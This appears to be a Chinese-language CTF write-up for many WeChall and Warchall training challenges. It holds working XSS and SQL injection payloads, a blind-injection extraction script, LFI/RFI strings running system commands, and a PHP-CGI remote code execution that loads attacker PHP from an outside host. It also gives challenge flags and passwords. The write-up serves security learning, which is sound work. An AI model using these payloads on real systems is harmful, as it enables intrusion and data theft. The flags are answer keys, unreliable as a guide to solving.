Wechall CTF writeup2

htmlspecialchars

htmlspecialchars()不加参数只会将双引号实体化,这里只需要单引号即可。

在本地搭建环境,代码如下:

<?php
if(isset($_GET['in']))
{
    $a=$_GET['in'];
    echo "<a href='http://".htmlspecialchars($a)."'>Exploit Me</a>";
    echo htmlspecialchars("<a href='http://".htmlspecialchars($a)."'>Exploit Me</a>");
}
?>

输入以下代码:

http://127.0.0.1:8080/xss/test.php?in=%27%20onmouseover=%27alert(1)

然后鼠标触发即可弹窗。

Connect the Dots

盲文密码

解密为:thesolutionis***

Tracks

主要分三步:

1.注册
2.投票
3.说已投过了

通过改它请求的地址,来改变http缓存。第二步的时候发现响应头有个Etag字段,这个和请求头里面的If-None-Match进行匹配。

HTTP协议缓存策略

修改请求头里的WC字段和VOTE字段即可。

PHP 0818

PHP弱类型

首先看一下源码:

function noother_says_correct($number)
{
    $one = ord('1');
    $nine = ord('9');
    for ($i = 0; $i < strlen($number); $i++)
    { 
        $digit = ord($number{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            return false;
        }
    }
    return $number == "3735929054";
}

主要的意思就是不能是1~9的数字,但是又要和3735929054相等,明显是PHP弱类型由于是==,

===会比较两个变量的类型 
而==只比较他们的值  
比如整数0和浮点数0.0   
用==比较返回TRUE   
用===比较返回FLASE

3735929054的十六进制即0xdeadc0de,0又刚好不在1-9里面,符合。

Addslashes

addslashes()函数的功能是返回在预定义字符之前添加反斜杠的字符串。

主要的源码如下:

<?php
function asvsmysql_login($username, $password)
{
    $username = addslashes($username);
    $password = md5($password);
    ...
    $query = "SELECT username FROM users WHERE username='$username' AND password='$password'";
    ...
    if ($result['username'] !== 'Admin') {
        return htmlDisplayError('You are logged in, but not as Admin.');
    }

    return htmlDisplayMessage('You are logged in. congrats!');
}
?>

addslashes()函数存在宽字节注入漏洞。原因是%bf%27本身不是一个有效的GBK字符,但经过addslashes()转换后变为%bf%5c%27,前面的%bf%5c是个有效的GBK字符,所以%bf%5c%27就会当作一个字符加一个单引号,这样漏洞就触发了。mysql_real_escape_string()也是一样。

输入

%bf%27 union select Admin%23&password=123

报错,说不识别这五个字母,然后就是把字母转换成字符

%bf%27 union select CHAR(65,100,109,105,110)%23&password=123

The Guestbook

源码很长,也没仔细看,首先就是先做了一个正常的留言,返回的结果如下:

仔细看,我们就可以发现一个蹊跷,就是返回一个ip:8.8.8.8这是我火狐的一个插件,然后我就试试,在里面插入一些恶意代码:

$query =
        "CREATE TABLE IF NOT EXISTS gbook_user ( ".
        "gbu_id        INT(11)     UNSIGNED PRIMARY KEY, ". # Guestbook userid
        "gbu_name      VARCHAR(63) CHARACTER SET ASCII COLLATE ascii_general_ci, ". # Guestbook username
        "gbu_password  VARCHAR(255) CHARACTER SET ASCII COLLATE ascii_bin ) "; # Guestbook password <-- You need the password for username Admin
    $db->queryWrite($query);

上面的代码看出表名是:gbook_user,字段:gbu_password,gbu_name

根据GET ip的查询语句,构造如下:

‘,(select gbu_password from gbook_user where gbu_name=’admin’))#

PHP 0816

题目要求我们读solution.php这个文件。

主要就是几个参数,src,hl,mode,它是按顺序读取参数值的,

php0816SetSourceFile主要是设置显示源码的文件名,有一个白名单过滤,它会读取src, 
然后是php0816execute执行程序mode=hl, 
然后就是php0816addHighlights,它调用php0816Highlighter,而这个函数直接有一个getGet('src')
所以我们可以直接执行mode=hl&src=solution.php,,这样就没有访问php0816SetSourceFile这个函数。直接读取了solution.php

POC:

http://www.wechall.net/challenge/php0816/code.php?mode=hl&src=solution.php

Table Names

在username加个’ 报错了,存在注入 ,构造语句。

1' order by 4#   报错
1' order by 3#    正确
三个字段
1' and 1=2 union select 1,2,3#
显示3
1' and 1=2 union select 1,2,database()#
数据库名:gizmore_tableu61
1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x67697A6D6F72655F7461626C65753631#
两个表名:aaawrong,usertableus4

TMD 对于答案也是醉了,还得连一块:

gizmore_tableu61_usertableus4

Training: RegexMini

正则匹配

成功的要求是输入一个长度 > 16 位的一个用户名,并成功注册。

正则表达式为:

/^[a-zA-Z]{1,16}$/

在 php 的正则里面,^$的意思是匹配前一个换行符之后,下一个换行符之前,这中间一段的字符。所以,我们只需要输入16个任意大小写字母,再加上一个换行符(%0A) 就可以了。

Are you serial

PHP对象注入

Yourself PHP

PHP的$_SERVER[‘PHP_SELF’]造成的XSS漏洞.

测试代码如下:

<?php
//require 'check.php';
if (isset($_POST['username'])){
        echo sprintf("Well done %s, you entered your username. But this is not what you need to do.", htmlspecialchars($_POST['username']));
}
echo '<div class="box box_c">'.PHP_EOL;
echo sprintf('<form action="%s" method="post">', $_SERVER['PHP_SELF']).PHP_EOL;
    echo sprintf('<div>Username:<input type="text" name="username" value="" /></div>').PHP_EOL;
echo sprintf('<div><input type="submit" name="deadcode" value="Submit" /></div>').PHP_EOL;
echo sprintf('</form>').PHP_EOL;
echo '</div>'.PHP_EOL;
?>

构造POC:

http://127.0.0.1:8080/xss/test1.php/"><script>alert(1);</script>

效果如下:

PHP 0819

PHP heredoc

题的意思就是让eval=’1337’,但是过滤了单引号,使用heredoc便能绕过对于引号的过滤,注入想要的字符串。

php 中的 heredoc技术是php用来引用字符串的一种方式。在phpwind中巧妙的运用了这个技术,实现了逻辑代码和界面设计的分离。

语法:  

1. 使用操作符  “<<<”

2. 操作符后紧跟标识符(开始标识符),之后重起新的一行 输入要引用的字符串,可以包含变量。

3. 新的一行,顶格写结束表示符,以分号结束。

要注意到几点:

1. 标识符可以自定义 一般的 有EOT ,EOD  EOF 等, 只要保持开始表示符和结束表示符一样即可。

2. 结束表示符必须独占一行,且必须顶格写,最后以 ‘;’ 分号结尾。

3. 所有引用的字符串中可以包含变量,无需字符串连接符。

例如:
echo <<<suibian
正文
正文
suibian;
// 格式应该是 <<<+任意字符x+换行+字符串+换行+任意字符x+;换行

构造POC:

http://www.wechall.net/challenge/space/php0819/index.php?eval=<<<s%0a1337%0as;%0a

MD5.SALT

简单的sql注入

最后构造语句:

‘ and 1=2 union select password,2 from users where username=”Admin”#

Order By Query

order by 注入。

1.可以使用and进行双重查询

1 and (select count(*) from products group by concat(version(),0×27202020,floor(rand(0)*2-1)))–

2.在desc/asc [参数] 之后使用双重查询

1 desc,(select count(*) from users group by concat(version(),0x27202020,floor(rand(0)*2-1)))'5.0.95-community'

具体的请参照:order by/limit之后注入

关于报错注入的一些语法请参照:报错注入方法整理

构造POC:

http://www.wechall.net/challenge/order_by_query/index.php?by=1 and ExtractValue(1,(select password from users where username=CHAR(65, 100, 109, 105, 110)))#

得到MD5:

C3CBEB0C8ADC66F2922C65E7784BE14

Can you read me

tesseract这个软件可以做ocr

Crappyshare

构造POC:

http://www.wechall.net/challenge/crappyshare/crappyshare.php?file://solution.php

当我们输入的file://参数被带入curl中执行时,原本的远程URL访问会被重定向到本地磁盘上,从而达到越权访问文件的目的

推荐一篇文章:LFI、RFI、PHP封装协议安全问题学习

Warchall: Live LFI

进去之后发现左上角,有个按钮,直改后面的参数为solution.php,

POC1:http://lfi.warchall.net/index.php?lang=solution.php

回应如下:

teh falg si naer!

the flag is near!

PHP Warning(2): Illegal string offset 'welcome' in index.php line 12

Backtrace starts in index.php line 12.
GWF_Debug::error_handler() core/inc/util/GWF_Debug.php line 183.

本地文件包含,使用php://filter/read读一下solution.php的源码

POC2:

http://lfi.warchall.net/?lang=php://filter/read=convert.base64-encode/resource=solution.php

base64解密:

<html>
<body>
<pre style="color:#000;">teh falg si naer!</pre>
<pre style="color:#fff;">the flag is near!</pre>
</body>
</html>
<?php                  #   YOUR_TROPHY 
return 'SteppinStones42Pie'; # <-´ ?>

Warchall: Live RFI

能查看页面能容的PHP伪协议,我知道的只有两种:

?file=data:text/plain,<?php system("net user")?>

?file=php://filter/read=convert.base64-encode/resource=index.php

我使用filter读协议出来了竟然:

PGh0bWw+Cjxib2R5Pgo8cHJlPk5PVEhJTkcgSEVSRT8/Pz88L3ByZT4KPC9ib2R5Pgo8L2h0bWw+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCByZXR1cm4gJ0xvd19INE5HSU5HX0ZydWl0JzsgPz4K 

但是解密发现不对有???,然后我发现base64里面有好多重复的,然后我删除点

<html>
<body>
<pre>NOTHING HERE????</pre>
</body>
</html>              <?php return 'Low_H4NGING_Fruit'; ?>

好吧,,,

试了试data协议,也可以。

http://rfi.warchall.net/index.php?lang=data:text/plain,<?php system(“cat solution.php”)?>

Impossible n’est pas français

分解一个很大的数的质因数。需要6s 内提交

但是,只要我们尝试提交一次之后,就可以发现它会返回一个正确的解。

既然如此,我们只要先提交一次,然后程序读取它返回的正确数字串,再提交就可以了。

python脚本如下:

#!/usr/bin/env python
# coding=utf-8
import requests
import urllib2
import lxml
import lxml.html as H
from bs4 import BeautifulSoup

cookie = {
    'WC': '9038838-0-DGwGp7VNYefa6o7o'
}
def get_number():
    number_url = 'http://www.wechall.net/challenge/impossible/index.php?request=new_number'
    #opener = urllib2.build_opener()
    #opener.addheaders.append(('Cookie','WC=9038838-0-DGwGp7VNYefa6o7o'))
    #f = opener.open(number_url)
    #html = f.read()
    #html = urllib2.urlopen(number_url).read()
    #soup = BeautifulSoup(html)
    resp = requests.get(number_url, cookies=cookie)
    res =resp.content
    soup = BeautifulSoup(res)
    div_new = soup.find('div',{"id":"page"})
    movie_new = div_new.get_text()
    print movie_new
get_number()

def get_answer():
    post_data = {
        'solution': '',
        'cmd': 'Send',
        'gwf3_csrf': 'bNZbC2XL'
    }
    url = 'http://www.wechall.net/challenge/impossible/index.php' 
    resp = requests.post(url, cookies=cookie, data=post_data)
    # print resp.text
    d = H.document_fromstring(resp.text)
    import re
    ar = re.compile(r'"(\d+)"')
    text = d.xpath('//div[@class=\'gwf_errors\']/ul/li')[0].text_content()
    ans = ar.findall(text)[0]

    print ans 

    post_data = {
        'solution': ans,
        'cmd': 'Send',
        'gwf3_csrf': 'bNZbC2XL'
    }
    resp = requests.post(url, cookies=cookie, data=post_data)
    print resp.text
get_answer()

运行结果为:

Py-Tong

查看 Python 源代码,可以发现,该程序会读取一个你指定的文件两次。

如果第一次读取成功之后,第二次尝试读取失败,返回true。
如果第一次和第二次读取得到的内容不一样,返回true。

这样,知道了这些之后,我们就可以写一个文件,去和这个程序进行竞争。

Blinded by the light

盲注

主要的代码为:

$query = “SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password=’$password’”;

这里的 password 明显没有经过过滤就带入查询。
那么,我们可以通过 OR 盲注来让它返回不同的页面,借此来判断语句的正确性。

脚本如下:

#!/usr/bin/env python2
import urllib
import urllib2
def makePayload(statement):
    return "' or substring(password, %d, 1)%s'%s" % (statement[0], statement[1], statement[2])
def checkResponse(response):
    return response.find("Welcome back") > 0
def doAssert(statement):
    url = 'http://www.wechall.net/challenge/blind_light/index.php'
    values = {'injection':makePayload(statement),'inject':'Inject'}
    data = urllib.urlencode(values)
    req = urllib2.Request(url, data)
    req.add_header('cookie','WC=8448003-14306-bFzUNqXxpwMud1xu')
    response = urllib2.urlopen(req)
    content = response.read()
    return checkResponse(content)
if __name__ == "__main__":
    alphalist = "0123456789ABCDEF"
    result = []
    for idx in range(1,33):
        start = 0
        end = 16 #[start, end)
        while (start < end):
            print("[%d, %d)" % (start, end))
            if (end - start == 1):
                result.append(alphalist[start])
                break
            else:
                middle = (start + end)/2
                if(doAssert([idx, '<', alphalist[middle]])):
                    end = middle
                else:
                    start = middle
        print ''.join(result)

Training: Net Ports

让我们链接这个主机的42端口。

curl使用 –local-port 参数,带上自己的cookies

sudo curl –local-port 42 -c ‘WC=YOUR_COOKIES’ http://www.wechall.net/challenge/training/net/ports/index.php

Pimitive Encryption

用onetime-pad xor加密的zip文件,通过zip的magic number可以确定onetime-pad的前四位,转换成char输出后发现是3.14

于是该用什么解密就很明显了,下载一个pi之后xor一下,就能还原了

Repeating History

网页和github是对应的。。

先翻到第一个

https://github.com/gizmore/gwf3/blob/565015f6561776c90f77e5623d978d70ca7bf2d3/www/challenge/subversive/repeating/what_do_you_want_here.php

然后repo内搜索solution发现了一个

https://github.com/gizmore/gwf3/blob/a98616544df4997a1bef7dfc109d35b3c6e0aab9/www/challenge/subversive/history/install.php

md5解出来是wrong,翻一下这个文件的commit记录

https://github.com/gizmore/gwf3/commit/a98616544df4997a1bef7dfc109d35b3c6e0aab9
-$solution = ‘NothingHereMoveAlong’;
+$solution = ‘2bda2998d9b0ee197da142a0447f6725’;

拼接一下:InDaxInNothingHereMoveAlong

Host Me

改http头的Host。这点很简单,但是有个问题就是,它内网有一台机器也叫做localhost。这就导致了如果是简简单单地访问localhost的话,其实访问的是那台机器而非我们做题的机器。
为了避免这个问题,我们就要使用绝对路径的 URL,就是 GET 后面的网址补全,然后 Host 再写成localhost就可以了

Stegano Woman

打开之后注释部分使用16进制编辑器打开

发现是09(tab)和20(space),把其中的一个当作1另一个当作0,换成二进制再转换成字符串之后输出即可

Quangcurrency

这题不会,没看懂,附一个别人的writeup

读题是很重要的…来把这个题目大概念出来,它是什么?concurrency对不对?又是一道竞态的题目.

只要卡着buy和click,想方设法跑到10个item就可以

cookie = {
    'WC': '8429765-12152-0vjRl2XoKWFYAmvh'
}

def f1():
    requests.get('http://www.wechall.net/challenge/quangcurrency/click.php', cookies=cookie)

def f2():
    requests.get('http://www.wechall.net/challenge/quangcurrency/buy.php', cookies=cookie)
import requests
import threading
import time

import lxml
import lxml.html as H
import re

r = re.compile(r'\w+: (\d+)')

i = 0 
while True:
    i += 1
    print "turn %d" % i
    print 'start click'
    t1 = threading.Thread(target = f1)
    print 'start buy'
    t2 = threading.Thread(target = f2)

    t1.start()
    t2.start()
    t1.join()
    t2.join()

    text = requests.get('http://www.wechall.net/challenge/quangcurrency/stats.php', cookies=cookie).text
    d = H.document_fromstring(text)
    msg = d.xpath('//div[@class=\'box_c\']')[0]
    # import pdb;pdb.set_trace()
    a,b,c  = r.findall(msg.text_content())
    print 'get %s item ' % c

    if int(c)>=10:
        break

    if int(a) < 1000:
        print 'reset'
        requests.get('http://www.wechall.net/challenge/quangcurrency/reset.php', cookies=cookie)
友情提示,它肯定可以跑出来,但它永远不会停下,最好自己确认这个challenge是不是已经完成了.

Stop us

关键在于这句话

‘ignore_user_abort’ => false

这句话所造成的后果就是,一个脚本当用户断开连接(关闭窗口之类的),这个脚本就会被强行终止。
再看看 php 脚本,可以发现它是先给我们添加了一个域名,之后才扣费的。
所以我们只要在扣费前关掉页面即可。

Screwed Signup

ISCC2016的一道题

SQL table里username最多24个字符,但是preg_match检查时可以最多到64个。于是这里可能造成截断.

Table Names II

http://www.wechall.net/challenge/table_names/challenge.php
?username=' union select database(),2,group_concat(0x3f,table_name) from information_schema.tables where table_schema=database() -- 
&password=test
&login=login

也可以这样:

http://www.wechall.net/challenge/table_names/challenge.php
?username=' union select 1,2,info from information_schema.processlist-- 
&password=test
&login=login

运行结果为:

Welcome back gizmore_tableu61

Your personal welcome message is: ?aaawrong,?usertableus4

This ensures you are not on a fake evil phising site.

提交:gizmore_tableu61_usertableus4

AUTH me

SSL 加密传输的问题。

访问https://authme.wechall.net/challenge/space/auth_me/www/index.php

提示说:

Error

Renegotiation is not allowed

所以我们需要去找这个证书,然后导入。

其实,你观察下它 apache.conf 的网址,

http://www.wechall.net/challenge/space/auth\_me/**find_me/apache.conf**

会发现叫做 find_me 的文件夹。直接访问

apache.conf               05-May-2015 21:18  1.0K  
client.crt                05-May-2015 21:18  1.5K  
client.key                05-May-2015 21:18  3.2K  
client.p12                05-May-2015 21:18  4.7K  
server.crt                05-May-2015 21:18  1.5K  

导入client.p12 即可

Warchall: Live RCE

具体漏洞是:CVE-2012-1823(PHP-CGI RCE)

在地址后面加进参数运行对应的php-cgi 参数的行为,根据解释,如果query string中不包含未urlencoded的等号,那么整个query会以空格分词,传给php-cgi。于是我们传-s,就会把php文件源码回显。

例如 index.php?-s

相参于/usr/bin/php53-cgi/php-cgi -f index.php -s

php-cgi –help如下

Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
    php-cgi <file> [args...]
    -a               Run interactively
    -b <address:port>|<port> Bind Path for external FASTCGI Server mode
    -C               Do not chdir to the script's directory
    -c <path>|<file> Look for php.ini file in this directory
    -n               No php.ini file will be used
    -d foo[=bar]     Define INI entry foo with value 'bar'
    -e               Generate extended information for debugger/profiler
    -f <file>        Parse <file>.  Implies `-q'
    -h               This help
    -i               PHP information
    -l               Syntax check only (lint)
    -m               Show compiled in modules
    -q               Quiet-mode.  Suppress HTTP Header output.
    -s               Display colour syntax highlighted source.
    -v               Version number
    -w               Display source with stripped comments and whitespace.
    -z <file>        Load Zend extension <file>.
    -T <count>       Measure execution time of script repeated <count> times.

查看源码:

http://rce.warchall.net/?-s

里面包含了一个../config.php,所以我要去读它。

在刚开始进的页面里发现index.php的目录为:

[SCRIPT\_FILENAME] => /home/level/20_live_rce/www/index.php

所以../config.php 的绝对路径是:

/home/level/20_live_rce/config.php

php-cgi参数中:

d foo[=bar] Define INI entry foo with value ‘bar’

-dallow_url_include=On

-dauto_prepend_file=/tmp/2.php

在/tmp里建立一个2.php内容是

<?php
exec("cat /home/level/20_live_rce/config.php",$out);
print_r($out);
?>

构造地址:

http://rce.warchall.net/?-d allow_url_include=On -d auto_prepend_file=http://oacotcyq8.bkt.clouddn.com/2.php -n

urlencode:

http://rce.warchall.net/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp%3%2f%2foacotcyq8.bkt.clouddn.com%2f2.php+-n

Blinded by the lighter

还是盲注,加时间延迟注入。

Light in the Darkness

这道题的错误会回显,而且限制要在2次query内得到答案,所以用error based:

POC1:

' or row(1,1) > (select count(*),concat(password,'$',floor(rand(0)*2))x from (select 1 union select 2 union select 3)a group by x limit 1) #

POC2:

' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2)))--

原理:

http://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do

简单地说,floor(rand(0)*2)会得到0,1,1,0……第2个和第3个重复的1会造成重复的group_key。而且我们需要一个行数大于3的表,所以选择information_schema

Brainfucked

alert(XXX)xxx为 文件内容。

function anonymous() {
var s = 'UnfudgedDebugStuff'; s = s.length; alert(s); document.location.href='https://www.google.co.uk';
}

eXtract Me

一个压缩包,解压发现里面一直有个压缩包,应该不是这么多

解压一次之后使用16进制打开

可以发现是两个压缩包拼接在一起的。所以我们只要把后面的压缩包扣出来即可。

还是解压,出来一个xar文件,通过 7zip 解压,出来一个又一个奇葩文件。。

但是,在解压途中会发现有一个rar 的注释是有东西的。拷贝出来,用这数据新建一个rar文件,发现需要密码。

密码为:L0LYouThInkiTSh0uldB3SoEasY?

Are you blind?

还是盲注,报错来判断。

大爷,赏个铜板呗!